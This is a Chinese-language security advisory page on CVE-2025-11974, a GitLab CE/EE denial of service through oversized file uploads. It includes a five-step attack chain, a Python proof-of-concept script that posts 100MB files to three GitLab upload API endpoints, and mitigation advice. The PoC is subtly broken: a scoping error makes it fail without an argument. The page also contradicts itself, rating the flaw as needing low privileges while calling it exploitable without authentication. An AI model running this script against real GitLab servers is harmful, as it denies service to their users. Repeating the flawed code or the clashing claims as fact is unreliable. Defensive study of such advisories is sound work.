IPBUF安全漏洞报告
English
CVE-2025-11974 CVSS 6.5 中危

CVE-2025-11974: GitLab CE/EE 拒绝服务漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-11974
漏洞类型
拒绝服务(DoS)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

拒绝服务DoSGitLab文件上传资源耗尽API安全CVE-2025-11974CWE-400CWE-770

漏洞概述

CVE-2025-11974是GitLab社区版和企业版中的一个拒绝服务漏洞。该漏洞影响GitLab从11.7版本开始到18.3.5之前的所有版本,以及18.4到18.4.3之前和18.5到18.5.1之前的版本。漏洞源于GitLab对特定API端点的文件上传功能缺乏适当的资源限制和验证机制。未经身份认证的攻击者可以通过向这些API端点上传超大文件,消耗服务器大量计算和存储资源,最终导致服务不可用。此漏洞的CVSS评分为6.5,属于中等严重程度,主要影响可用性。GitLab已于2025年10月22日发布补丁版本18.5.1、18.4.3和18.3.5修复此问题。建议所有使用受影响版本的用户尽快升级到最新补丁版本以防止潜在攻击。

技术细节

该漏洞存在于GitLab的多个API端点中,这些端点在处理文件上传请求时未实施充分的资源限制和验证机制。攻击者可以构造恶意请求,向这些端点上传超过合理限制的大文件。在服务器端,GitLab在处理这些大文件时需要进行解析、存储和可能的转码操作,这会消耗大量的CPU、内存和磁盘I/O资源。当攻击者以并发或持续的方式上传大文件时,服务器资源会被迅速耗尽,导致正常用户无法访问GitLab服务。根据CVSS 3.1评分标准,该漏洞的攻击向量为网络,攻击复杂度低,权限要求为低权限(实际上未认证攻击者也可利用),无需用户交互,主要影响可用性(高影响)。漏洞的技术根源在于API端点缺少文件大小限制、请求超时配置不当以及缺乏上传速率限制等保护措施。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标GitLab实例及其版本,确认版本在受影响范围内(11.7到18.3.5之前,18.4到18.4.3之前,18.5到18.5.1之前)
STEP 2
步骤2: 识别易受攻击的API端点
攻击者探测GitLab的API端点,识别存在文件上传功能且缺乏资源限制的端点,如项目上传、代码片段上传等
STEP 3
步骤3: 构造恶意请求
攻击者构造包含超大文件(数百MB甚至更大)的POST请求,绕过客户端限制直接发送原始HTTP请求
STEP 4
步骤4: 发起DoS攻击
攻击者以并发或持续的方式向目标API端点发送大文件上传请求,消耗服务器CPU、内存和磁盘资源
STEP 5
步骤5: 服务中断
随着服务器资源被耗尽,GitLab服务变得无响应或完全不可用,正常用户无法访问仓库、提交代码或使用任何功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11974 PoC - GitLab DoS via Large File Upload # This PoC demonstrates uploading large files to GitLab API endpoints # to cause denial of service import requests import sys import time TARGET_URL = "https://gitlab.example.com" FILE_SIZE_MB = 100 # Size of file to upload in MB API_ENDPOINTS = [ "/api/v4/projects/1/uploads", "/api/v4/snippets/1/uploads", "/api/v4/groups/1/uploads" ] def create_large_file(size_mb): """Generate a large file for upload testing""" return b'\x00' * (size_mb * 1024 * 1024) def upload_large_file(target_url, endpoint, file_data): """Upload large file to GitLab API endpoint""" url = f"{target_url}{endpoint}" files = {'file': ('large_file.bin', file_data, 'application/octet-stream')} try: print(f"[*] Attempting upload to {url}") response = requests.post(url, files=files, timeout=300) return response.status_code, response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None, str(e) def main(): if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] CVE-2025-11974 PoC - GitLab DoS via Large File Upload") print(f"[*] Target: {TARGET_URL}") print(f"[*] Generating {FILE_SIZE_MB}MB file...") large_file = create_large_file(FILE_SIZE_MB) print(f"[*] Starting upload attack...") for endpoint in API_ENDPOINTS: status, response = upload_large_file(TARGET_URL, endpoint, large_file) if status: print(f"[+] Upload to {endpoint} - Status: {status}") time.sleep(1) print("[*] Attack completed. Monitor server resource usage.") if __name__ == "__main__": main()

影响范围

GitLab CE/EE >= 11.7 且 < 18.3.5
GitLab CE/EE >= 18.4 且 < 18.4.3
GitLab CE/EE >= 18.5 且 < 18.5.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在反向代理(如Nginx)层面限制请求体大小,添加client_max_body_size限制;2) 配置Web应用防火墙规则,限制向/api/v4/*路径上传大文件;3) 启用GitLab的速率限制,在gitlab.yml中配置rate_limit相关参数;4) 监控服务器资源使用情况,设置告警阈值;5) 考虑临时禁用非必要的文件上传功能。但最有效的修复方式仍是尽快升级到官方发布的安全补丁版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表